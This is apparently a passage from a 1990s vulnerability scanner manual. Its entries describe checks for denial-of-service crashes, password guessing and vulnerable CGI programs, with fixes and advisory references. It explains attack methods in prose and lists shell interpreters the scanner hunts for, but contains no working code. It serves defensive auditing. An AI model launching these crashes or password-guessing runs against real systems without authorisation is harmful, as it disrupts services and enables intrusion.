Underlying Cause: Design
Impact of Attack: Data Integrity Availability

8017. PING denial of service attack

Verbose Description
Many unix variants are prone to an attack whereby a remote user can cause your system to reboot or panic by sending it an oversized packet. This is performed by sending a fragmented packet larger than 65536 bytes in length, causing the remote system to incorrectly process this packet. The result is that the remote system will reboot or panic during processing. This problem is widely known as the "Ping of Death attack".

Security Concerns
Malicious users can reboot or panic your workstations.

Suggestions
We suggest you approach your vendor for a fix. All vendors who are known to be vulnerable to this attack have provided relevant patches to solve this problem.

References
CERT Advisory CA-96.26.ping
ftp://ftp.cert.org/pub/cert_advisories/CA-96.26.ping
SGI Advisory 19961202-01-PX
ftp://sgigate.sgi.com/security/19961202-01-PX
IBM ERS Advisory ERS-SVA-E01-1996:006.1
http://www.ers.ibm.com/tech-info/advisories/sva/1996/ERS-SVA-E01-1996:006.1.txt

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Availability

8019. Serv-U FTP server CWD overflow

Verbose Description
This check determines whether you can crash the Win95 Serv-U ftp server by sending it a request to change directories to a directory whose name is longer than 256 characters. It is likely, but not verified, that this can also be used to remotely execute arbitrary commands on the ftp server.

Suggestions
Contact the author for a fix.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

8020. Ascend/3com router zero-length TCP option DOS

Verbose Description
This check determines whether you can reboot an ascend router by sending it a TCP packet with a zero-length TCP option. There are several widely distributed programs which make it easy for people to carry out this attack.

Suggestions
Contact Ascend or 3com for a fix.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8023. Windows NT - Out Of Band data DOS

Verbose Description
This check determines whether your Windoes 95 or Windows NT servers are vulnerable to a denial of service attack utilizing out of band data. By connecting to the NetBIOS port (139) on Windows 95 and Microsoft Windows NT systems, it is possible to crash the system by sending out of band data on the connection.

Suggestions
NT 4.0:
Contact Microsoft for a fix, or install Service Pack 3, and then obtain a hotfix from:

ftp.microsoft.com in the directory:
/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/oob-fix

Windows 95:
Contact Microsoft for a fix.

References
CIAC Advisory h-57.windows.nt95.out.of.band.data.exploit.txt
ftp://ciac.llnl.gov/pub/ciac/bulletin/h-fy97/h-57.windows.nt95.out.of.band.data.exploit.txt

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8024. IRC Daemon Denial of Service

Verbose Description
IRC (Internet Relay Chat) allows realtime conversation and discussion on the internet. A vulnerability exists in some IRC server versions which allow a malicious user to crash the server. This leads to a denial of service attack which prevents users from connecting to the server.

Suggestions
Install an updated version of the IRC server software which has this vulnerability fixed. IRC servers prior to and including version irc2.8.21 contain this vulnerability.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8025. Ascend port 150 crash

Verbose Description
Ascend routers are prone to a denial of service attack, whereby a malicious user can crash the router or terminal server by connecting to the remote administration port (150) and entering the correct data.

Security Concerns
Malicious remote users can launch denial of service attacks against your routing devices.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low

Underlying Cause: Implementation
Impact of Attack: Availability

8026. CISCO Web Server DOS

Verbose Description
Many current versions of CISCO IOS have the ability to allow configuration via a built in WWW server on the router or terminal server. This web server contains a serious vulnerability which allows an attacker to crash the device by specifying an abnormally long URL.

Security Concerns
Remote users can reboot and crash your terminal servers and routers.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Obscure
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

8027. Solaris syslogd Crash

Verbose Description
Certain versions of Solaris syslogd will crash when they receive a syslog message off the network from a host without inverse DNS entries. This allows an attacker to disable security auditing before attacking a host, avoiding detection by programs like TCP wrappers.

This module attempts to determine if the host is vulnerable to this problem by forging a syslog request from a host without inverse entries. If the host is vulnerable, it's syslogd will be disabled, and must be re-started via administrative intervention.

Suggestions
Obtain the Solaris patch for this problem. Filter syslog (UDP port 514) where possible.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8028. Rwho Daemon Buffer Overflow

Verbose Description
This module determines whether the rwho daemon running on the target host is vulnerable to a buffer overflow, allowing remote users to kill off the daemon.

The rwho daemon gathers information on other systems running on the same subnet. By sending a fake rwho request with an overly long hostname present, it is possible to cause the daemon to fault, disabling gathering of accurate network information.

This problem is not known to lead to further system access. The buffer overflow is only known to disable this service.

Security Concerns
Malicious users can cause a denial of service by disabling the rwho daemon.

Suggestions
Upgrade your version of the rwho daemon.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8029. IIS Long URL Denial of Service

Verbose Description
Microsoft IIS WWW server version 2.0 and version 3.0 are vulnerable to a denial of service attack, allowing a user who specifies a long URL, to crash the server. By mishandling this long URL, the WWW server faults, crashing the server, therefore disabling all WWW services on the host.

Security Concerns
Malicious users can crash the WWW server, disabling any WWW services offered by the host.

Suggestions

Microsoft has issued a HotFix which solves this problem. This HotFix is availible from:

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/iis-fix

For more information, see Microsoft knowledge base article Q143484

References
CIAC Advisory h-77.microsoft.iis.boundary.cond.txt
ftp://ciac.llnl.gov/pub/ciac/bulletin/h-fy97/h-77.microsoft.iis.boundary.cond.txt

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Availability

8030. Windows NT - Messenger Service Denial of Service

Verbose Description
The messenger service is a service which is used by Windows NT systems to send notification messages to users on the system. This service is commonly used to send messages regarding events such as security alerts, and print job status.

By sending a message with an abnormally long username to the messenger service, it is possible for an attacker to disable this service, and prevent the user who is logged into the system from receiving any further notifications.

Security Concerns
By disabling this service, an attacker may prevent the Administrator from receiving important notifications, including security event notifications.

Suggestions
Install Service Pack 3 to solve this vulnerability. Also, ensure that outside users are not able to access TCP port 139 on your system. In addition to containing this vulnerability, the messenger service provides no support for authentication, and easily allows anyone to send messages and alerts to the system.

Risk Factor: Medium

Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8031. Windows NT - SMB Denial of Service

Verbose Description
Microsoft Windows NT systems prior to Service Pack 3 contain a serious security vulnerability which can allow a remote user to cause the server to crash, with a blue screen. By connecting to the SMB port (TCP port 139) and attempting to execute a SMB file command, prior to logging in, and prior to accessing any shares, the system will crash.

Security Concerns
Malicious users can cause the NT server to crash, causing a blue screen.

Suggestions
Install Service Pack 3

References
NAI Security Advisory #25
http://www.nai.com/products/security/advisory/25_windows_nt_dos_adv.asp

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8032. LAND Denial of Service attack

Verbose Description
A denial of service present in many operating systems, this attack allows a malicious user to completely disable the target host by sending a single TCP packet.

This attack is performed by sending a TCP packet to a running service on the target host, with a source address of the same host. The TCP packet is a SYN packet, used to establish a new connection, and is sent from the same TCP source port, as the destination port. When accepted by the

target host, this packet causes a loop within the operating system, essentially locking up the system.

Security Concerns

Malicious users can lock up and disable the target host. The disabled system will stay disabled until physically reset.

Suggestions

Windows NT:

Microsoft has issued the following Hot Fixes for this problem:

Ensure that you have installed Service Pack 3 on the target system before applying the following hot-fixes.

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/land-fix/

Windows 95:

Microsoft has issued the following fix for systems WITHOUT the WinSock 2.0 Update installed:

Vtcpup11.exe (size: 155264 bytes)

If you have the WinSock 2.0 Update installed, retrieve the following fix instead:

Vtcpup20.exe (size: 158384 bytes)

To obtain updates, see knowledge base article Q119591. To determine if you have WinSock 2.0 installed, see knowledge base article Q177719.

Cisco: Add the following rule to your cisco configuration for each interface:

```
deny tcp x.x.x.x 0.0.0.0 x.x.x.x 0.0.0.0
permit ip any any
```

Substitue x.x.x.x for the IP address of the interface which the rule will apply to. This rule prevents packets from being received on an interface which appear to originate from the same interface.

To prevent this attack from being launched via an outside network (the Internet), ensure that your gateway routers prevent passing of forged packets, which appear to originate from your internal network.

References

The following Microsoft Knowledge Base articles provide more detailed information on this vulnerability:

Q165005 - Windows NT Slows Down Due to Land Attack
Q177539 - Windows 95 Stops Responding Because of Land Attack
Q119591 - How to Obtain Microsoft Support Files from Online Services
Q177719 - Identifying Windows Sockets 2 Run-Time Components for Windows 95

SCO Security Bulletin 98:01
ftp://ftp.sco.com/SSE/security_bulletins/SB.98%3A01a

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8033. Windows NT - Fragment Denial of Service attack

Verbose Description
The NT TCP/IP stack uses a faulty reconstruction algorithm to reconstruct fragmented IP packets. This has a number of effects including allowing packets to be reconstructed without ever receiving the first fragment and allowing an attacker to corrupt the memory of the TCP/IP stack. Because firewalls often only filter the first fragment of an IP packet, the first effect can allow an attacker to send packets through a firewall unfiltered. The second effect allows an attacker to crash an NT system by sending carefully crafted packets that corrupt the TCP/IP stacks memory.

Suggestions
Install Service Pack 3 to remove this vulnerability.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8034. Windows NT - LSASS.EXE Denial of Service

Verbose Description
A vulnerability within the LSASS.EXE process on Windows NT systems allows for a denial of service attack, which causes an Access Violation

in LSASS.EXE. This denial of service causes the LSASS.EXE process to stop running, preventing logons from the console, as well as preventing Event Viewer and Server Manager from operating.

Security Concerns
Malicious users can launch this denial of service attack against your Microsoft Windows NT system.

Warning:
If this vulnerability was found on the target host, this means that the CyberCop Scanner Security Auditing System successfully performed this denial of service attack. Please reboot the target server immediately for it to function properly.

Suggestions
The following hotfix has been made availible which prevents this vulnerability:

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/lsa-fix

References
The following Microsoft Knowledge Base article provides more detailed information on this vulnerability:

Q154087 - Access Violation in LSASS.EXE Due to Incorrect Buffer Size

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8035. Windows NT - RPCSS.EXE Denial of Service

Verbose Description
A vulnerability in the RPCSS.EXE process on Windows NT systems allows for a denial of service attack. This denial of service attack causes the RPCSS.EXE process to run in an infinite loop driving the system CPU usage up to 100%. In addition the RPCSS process stops responding to requests.

Security Concerns
Malicious users can launch this denial of service attack against your

Microsoft Windows NT system.

Warning:
If this vulnerability was found on the target host, this means that the CyberCop Scanner Security Auditing System successfully performed this denial of service attack. Please reboot the target server immediately for it to function properly.

Suggestions
Install Service Pack 3 and block unauthorized access to the RPC port (port 135) at the router.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8036. Windows NT - IIS ... Denial of Service

Verbose Description
The Windows NT IIS Server running on the target host is vulnerable to a denial of service attack, allowing malicious users to crash the IIS server. If the CyberCop Scanner Security Auditing System has discovered
this vulnerability present on the target host, this attack has been successfully launched, and the system should be restarted.

Security Concerns
Malicious users can launch denial of service attacks against the target IIS server, and disable service.

Suggestions
Upgrade your version of the IIS server to the most recent version.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8038. IP Fragmentation/Teardrop Attack

Verbose Description
This module sends out invalid fragmented IP packets that trigger a bug in the IP fragment reassembly code of some operating systems. This vulnerability allows an attacker to crash the target system, resulting in loss of service.

Due to the nature of this attack, this module is not reliable. In some instances the target host will not crash immediately after this attack has been launched. The second variation of this attack (Teardrop 2) has been verified to work 100% against vulnerable systems. The second variation is located in module 8039.

Security Concerns
This vulnerability allows malicious network users to crash the target server at will.

Suggestions
If the affected system is a Linux system, upgrade your kernel to a more recent version.

If the affected system is a Windows NT system we recommend applying Service Pack 3 as well as all the security related hot fixes. In particular, the icmp-fix hotfix fixes this problem.

References
Microsoft Knowledge Base article Q154174

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8039. IP Fragmentation/Teardrop-2 Attack

Verbose Description
This module sends out invalid fragmented IP packets that trigger a bug in the IP fragment reassembly code of some operating systems.

Suggestions
If the affected system is a Windows NT system we recommend applying Service Pack 3 as well as all the security related hot fixes. In particular, the

teardrop2-fix hotfix fixes this problem.

References
Microsoft Knowledge Base article Q179129

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8040. Cisco 760/766 Access Router "login" DOS

Verbose Description
Cisco 760-series routers are remote access routers for ISDN connections. Due to an implementation problem, they are vulnerable to an attack that can cause the router to crash and reboot.

The attack works by responding to the router's "Password" prompt with an overly-long random string. This overflows a buffer in the router, which subsequently crashes.

This module attempts to determine whether a remote system is vulnerable to attack by connecting to the router's "telnet" port and sending an overly-long password. If the test is successful, the router will crash and reboot; if not, the router will remain stable throughout the test.

Due to the nature of this problem, it is possible that it (like many buffer overflow bugs similar to it) can be exploited to obtain access to the router remotely. This has not yet been confirmed publicly.

Suggestions
Obtain and install the most recent version of the Cisco 760-series router software from Cisco. This problem can be worked around by using packet filters to restrict access to the "telnet" ports of Cisco 760-series routers.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8041. IP-Switch IMail / Seattle Labs Sendmail VRFY Overflow

Verbose Description
Certain versions of the SMTP mail servers from the IP-Switch IMail package and the Seattle Labs Sendmail package are vulnerable to an attack that causes the mail server software to crash. This allows an attacker to compromise the availability of the mail service on vulnerable systems.

The attack works by sending an overly-long email address in conjunction with an SMTP "VRFY" (verify email address) command. In vulnerable software, this causes a buffer overflow to occur, which in turn causes the mail software to crash.

This module attempts to ascertain the vulnerability of a remote mail server by sending an overly-long SMTP "VRFY" command to the mail server. If the probe is successful, the mail service will crash. If not, the service will remain stable throughout the probe.

Due to the nature of this vulnerability, it is possible that it (like other buffer overflow bugs) can be exploited to obtain remote access to the mail server. This has not been confirmed publically.

Suggestions
Obtain a fix from your mail software vendor.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8042. Ascend "discard" Service DOS

Verbose Description
Ascend routing and access server platforms, including the Pipeline, MAX, and TNT systems, are vulnerable to a denial of service attack that allows arbitrary remote users to reboot the machine. While the machine is in the process of rebooting, it will be unable to forward traffic, and any connections (modem, ISDN, etc) will be dropped. Sites that rely on Ascend routing hardware for connectivity can be cut off from the network with this attack.

The attack works by sending a specially formatted packet to the UDP "discard" service on the router. Ascend hardware speaks a special

proprietary "configurator" protocol over UDP "discard", and when the system receives a malformed configurator packet, it crashes and reboots. Any attacker that can send packets to the "discard" port of a vulnerable Ascend router can thus crash and reboot it.

This module attempts to crash an Ascend router by sending a malformed configurator packet to the router. If the attack is successful, the router will crash and reboot. If not, the router will remain stable during the probe.

Suggestions
Retrieve and install the latest Ascend operating system revision for your router platform. Ascend software updates are available at http://www.ascend.com.

This problem can be worked around by installing packet filters that block incoming UDP packets to the "discard" port (9). Instructions for doing so on Ascend hardware are available at the Ascend website.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8043. rpc.statd buffer overflow

Verbose Description
This module checks for a vulnerable in the rpc.statd service present on NFS client and NFS server systems. A buffer overflow vulnerability present in this service allows execution of arbitrary commands on vulnerable system.

Security Concerns
This vulnerability allows an attacker to execute arbitrary commands on the target system. This leads to direct root compromise on the target host.

On systems that do not need NFS, disable and remove it from the system startup.
On systems that do require NFS, consider implementing network level encryption
(e.g. SKIP, hardware solutions) and migrating to an NFS version that supports TCP
transport. TCP transport would allow for packet level filtering to further protect the
service.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

8044. Microsoft RAS PPTP DOS

Verbose Description
Microsoft provides remote access capabilities to Windows NT machines via it's RAS subsystem. In order to provide remote network access with enhanced security, RAS uses a Microsoft proprietary protocol called PPTP (Point-to-Point Tunneling Protocol). In a typical configuration, arbitrary clients on the Internet have the ability to speak a limited amount of PPTP to a RAS server.

Due to an implementation problem in Microsoft's code, it is possible for an attacker to cause a RAS server to crash by sending a specific type of PPTP request to the server with a malformed packet header field. This can be used by an attacker to deny legitimate remote access to the RAS server.

Suggestions
Obtain the appropriate software patch from Microsoft.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation

Impact of Attack: **Availability**

9: PASSWORD GUESSING/GRINDING

9001. FTP Password Guessing

Verbose Description
This module attempts to guess passwords via the FTP server.

A common security problem are networked hosts with easily guessable usernames and passwords. In some instances, operating systems come pre-configured with several default user accounts which can allow access to anyone.

CyberCop Scanner will attempt to login to the remote server with a list of usernames and passwords which are stored in the files "userlist.txt" and "passlist.txt" by default. CyberCop Scanner will also save any usernames which can be obtained via finger, rusers and other services and attempt to login as those users.

Security Concerns
Remote users can gain access to the system using these easily guessable or default passwords.

Suggestions
Disable these accounts or change their passwords immediately.

References
AUSCERT Advisory AA-93.04.Password.Policy.Guidelines
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-93.04.Password.Policy.Guidelines
SGI Advisory 19951002-01-I
ftp://sgigate.sgi.com/security/19951002-01-I

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

9002. Telnet Password Guessing

Verbose Description
This module attempts to guess passwords via the telnet daemon.

A common security problem are networked hosts with easily guessable usernames and passwords. In some instances, operating systems come pre-configured with several default user accounts which can allow access to anyone.

Cybercop Scanner will attempt to login to the remote server with a list of usernames and passwords which are stored in the files "userlist.txt" and "passlist.txt" by default. The scanner will also save any usernames which can be obtained via finger, rusers and other services and attempt to login as those users.

Security Concerns
Remote users can gain access to the system using these easily guessable or default passwords.

Suggestions
Disable these accounts or change their passwords immediately.

Note that the telnet access is performed in clear text across the network, which leaves it possible to "sniff" the usernames, passwords, and complete session from another computer on the network.

If interactive access across a public network is necessary, consider implementing that access with a less risky protocol. SSH is a popular replacement that is available in public domain domain and commercial versions. It implements access through encrypted communications.

Commercial SSH is available from http://www.datafellows.com/.

If the telnet service is specifically required, consider restricting access to your telnet service with TCP security "wrappers" to lower the risk to the service.

References
AUSCERT Advisory AA-93.04.Password.Policy.Guidelines
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-93.04.Password.Policy.Guidelines
SGI Advisory 19951002-01-I
ftp://sgigate.sgi.com/security/19951002-01-I

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

9003. POP Password Guessing

Verbose Description
This module attempts to guess passwords via the POP server.

A common security problem are networked hosts with easily guessable usernames and passwords. In some instances, operating systems come pre-configured with several default user accounts which can allow access to anyone.

CyberCop Scanner will attempt to login to the remote server with a list of usernames and passwords which are stored in the files "userlist.txt" and "passlist.txt" by default. CyberCop Scanner will also save any usernames which can be obtained via finger, rusers and other services and attempt to login as those users.

Security Concerns
Remote users can gain access to the system using these easily guessable or default passwords.

Suggestions
Disable these accounts or change their passwords immediately.

If possible, configure your POP server to support APOP which may reduce the risk of POP passwords being "sniffed" from the network.

Where possible, restrict access to your POP server (e.g. via TCP wrappers or access control).

If this service is not necessary, disable it.

References
AUSCERT Advisory AA-93.04.Password.Policy.Guidelines
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-93.04.Password.Policy.Guidelines
SGI Advisory 19951002-01-I
ftp://sgigate.sgi.com/security/19951002-01-I

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

9004. IMAP Password Guessing

Verbose Description
This module attempts to guess passwords via the IMAP server.

A common security problem are networked hosts with easily guessable usernames and passwords. In some instances, operating systems come pre-configured with several default user accounts which can allow access to anyone.

CyberCop Scanner will attempt to login to the remote server with a list of usernames and passwords which are stored in the files "userlist.txt" and "passlist.txt" by default. CyberCop Scanner will also save any usernames which can be obtained via finger, rusers and other services and attempt to login as those users.

Security Concerns
Remote users can gain access to the system using these easily guessable or default passwords.

Suggestions
Disable these accounts or change their passwords immediately.

If this service is not necessary, disable it. If IMAP is required, consider restricting access to it via TCP wrappers or other access control methods.

References
AUSCERT Advisory AA-93.04.Password.Policy.Guidelines
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-93.04.Password.Policy.Guidelines
SGI Advisory 19951002-01-I
ftp://sgigate.sgi.com/security/19951002-01-I

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

9005. Rexec Password Guessing

Verbose Description
This module attempts to guess passwords via the rexec daemon.

A common security problem are networked hosts with easily guessable usernames and passwords. In some instances, operating systems

come pre-configured with several default user accounts which can allow access to anyone.

Cybercop Scanner will attempt to login to the remote server with a list of usernames and passwords which are stored in the files "userlist.txt" and "passlist.txt" by default. Cybercop Scanner will also save any usernames which can be obtained via finger, rusers and other services and attempt to login as those users.

Security Concerns
Remote users can gain access to the system using these easily guessable or default passwords.

Suggestions
Disable these accounts or change their passwords immediately.

Reconsider the need for rexec access to your system. The Unix "r services" are clearly risky access channels to a system and are one of the first set of services disabled when securing a computer.

If rexec is specifically required, consider restricting access to them via TCP security "wrappers".

References
AUSCERT Advisory AA-93.04.Password.Policy.Guidelines
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-93.04.Password.Policy.Guidelines
SGI Advisory 19951002-01-I
ftp://sgigate.sgi.com/security/19951002-01-I

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration

Impact of Attack: **System Integrity**

10: WORLD WIDE WEB, HTTP AND CGI

10001. NCSA WebServer buffer overflow check (versions 1.4.1 and below)

Verbose Description
NCSA's web server software prior to version 1.4.1 had a buffer overflow that could be exploited to give a remote user access to the server. This check will attempt to exploit the buffer overflow in NCSA httpd.

Security Concerns
Remote users can execute arbitrary commands on your web server.

Suggestions
If your web server has this problem we suggest you upgrade your webserver to a current release.

References
CERT Advisory CA-95:04.NCSA.http.daemon.for.unix.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-95:04.NCSA.http.daemon.for.unix.vulnerability
CIAC Advisory f-11.ciac-Unix-NCSA-httpd
ftp://ciac.llnl.gov/pub/ciac/bulletin/f-fy95/f-11.ciac-Unix-NCSA-httpd

High Level Description
NCSA "httpd" is a web server. Due to a bug in version 1.4.1 of this server, attackers can send requests to the server that will cause it to execute an arbitrary command for the attacker. Attackers can use this to break into vulnerable servers, gain access to sensitive information, and compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

10002. test-cgi check

Verbose Description
Some HTTP servers ship with a CGI (Common Gateway Interface) script called test-cgi. This script can be subverted to list files and directories, anywhere on the host machine. This check searches for the test-cgi script and determines whether directories can be listed remotely.

Security Concerns
Remote users can obtain listings of files anywhere on your web server

Suggestions
We suggest you remove this script. Test and example scripts for CGI instruction are infamous for their security holes. If you need to reference these scripts, we suggest you keep them off of your web server.

References
A patch for util.c is available at:
ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. Many web servers are bundled with several "example" CGI programs, intended to illustrate how to create and manage CGI programs for that particular server. One common example CGI is called "test-cgi". This program has a bug that can allow an attacker to use the web server to obtain a list of all files on the server, which is frequently sensitive information.

Risk Factor: Low
Ease of repair: Trivial
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Confidentiality Intelligence

10003. WWW Perl check

Verbose Description
The WWW Perl check searches your cgi-bin directory for executable implementations of Perl. Many web server administrators inadvertently place copies of the Perl interpreter into their web server script directories.

Security Concerns

Remote users can execute arbitrary commands on your workstations.

Suggestions
If your web server was found vulnerable to this check, we suggest that you remove the Perl interpreter from your web server.

References
CERT Advisory CA-96.11.interpreters_in_cgi_bin_dir
ftp://ftp.cert.org/pub/cert_advisories/CA-96.11.interpreters_in_cgi_bin_dir

High Level Description
Perl is a scripting language frequently used to construct CGI programs, which are used by webservers to handle complicated requests and serve dynamic information. CGI scripts written in Perl need to be run through the Perl interpreter. If the Perl interpreter is available to web clients, it can be used to execute arbitrary commands on the web server. This can be used to break into the server, obtain sensitive information, and potentially to compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

10004. WWW phf check

Verbose Description
The phf CGI program is a gateway to the "PH" phone book system, which is frequently used at Universities to provide online student phone books. The phf web gateway improperly parses incoming web requests when they contain quoted newline characters, allowing attackers to submit requests that will cause phf to execute an arbitrary command on the web server. This check searches for the phf script and attempts to exploit it.

Suggestions
If your host has been found to have this script online we suggest you remove it. Very few sites actually have a need for the "phf" PH web gateway,

References
CERT Advisory CA-96.06.cgi_example_code
ftp://ftp.cert.org/pub/cert_advisories/CA-96.06.cgi_example_code

AUSCERT Advisory AA-96.01.Vulnerability.in.NCSA.Apache.CGI.example.code
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-96.01.Vulnerability.in.NCSA.Apache.CGI.example.code
IBM ERS Advisory ERS-SVA-E01-1996:002.1
http://www.ers.ibm.com/tech-info/advisories/sva/1996/ERS-SVA-E01-1996:002.1.txt

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One of these programs, called "phf", provides a web gateway to an online phone book system. Due to a bug in the program, attackers can force it to execute an arbitrary program on the web server. This can be used to break into the server, obtain sensitive information, and potentially to compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Trivial
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

10006. Microsoft .bat/com check

Verbose Description
Some WWW servers, notably WebSite (an O'Reilly & Associates web server for Windows NT) and Microsoft's IIS (Internet Information Server) Web Server have a weakness which allows users to execute arbitrary commands with '.bat' or '.cmd' files. This check searches for such files and attempts to exploit them.

Suggestions
If your WWW server is vulnerable to this attack, we suggest you do the following things. If you are running IIS you can upgrade to version 1.0B which reportedly has the bug fixed. If you are running O'Reilly's WebSite you have the option to turn off support for DOS .bat files. We suggest you do so.

High Level Description
"Batch" files are scripted sets of commands that run multiple programs in concert. In many web server implementations, batch files can be used to construct programs to serve dynamic content from web pages. Due to a bug in the way the system processes batch files, it is possible for a remote attacker to force the system to execute an arbitrary command. This can be used to break into the server, obtain sensitive information, and compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

10008. Shell interpreter check

Verbose Description
Leaving executable shells in your cgi-bin directory can enable remote users to exec arbitrary commands on your host, as the UID which owns the shells. This can lead to your machine being breached. This check looks for the following shells in your cgi-bin directory:

* ash
* bash
* csh
* ksh
* sh
* tcsh
* zsh

Suggestions
If your WWW server has been found to have shells in it's cgi-bin directory, we suggest you remove them.

References
CERT Advisory CA-96.11.interpreters_in_cgi_bin_dir
ftp://ftp.cert.org/pub/cert_advisories/CA-96.11.interpreters_in_cgi_bin_dir

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. CGI programs are occasionally written in "shell script", scripting languages provided by a Unix command shell. If the shell program used to implement a CGI program is directly available to web clients, attackers can force it to execute an arbitrary command on the server. This can be used to break into the server, obtain sensitive information, and potentially to compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration

Impact of Attack: System Integrity

10009. PHF bash vulnerability

Verbose Description
A vulnerability in the GNU BASH shell allows usage of characters with a decimal value of 255 as command separators. This problem allows users to send command strings to remote servers and have the remote server execute them.

Security Concerns
Remote users can execute arbitrary commands on your web server.

Suggestions
We suggest you upgrade your version of BASH and remove the phf program from your webserver.

References
CERT Advisory CA-96.22.bash_vuls
ftp://ftp.cert.org/pub/cert_advisories/CA-96.22.bash_vuls
IBM ERS Advisory ERS-SVA-E01-1996:004.2
http://www.ers.ibm.com/tech-info/advisories/sva/1996/ERS-SVA-E01-1996:004.2.txt

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One of these programs, called "phf", provides a web gateway to an online phone book service. Due to a general problem in one of the programs it uses to handle requests, attacker can force it to execute an arbitrary command. This can be used to break into the server, obtain sensitive information, and potentially to compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

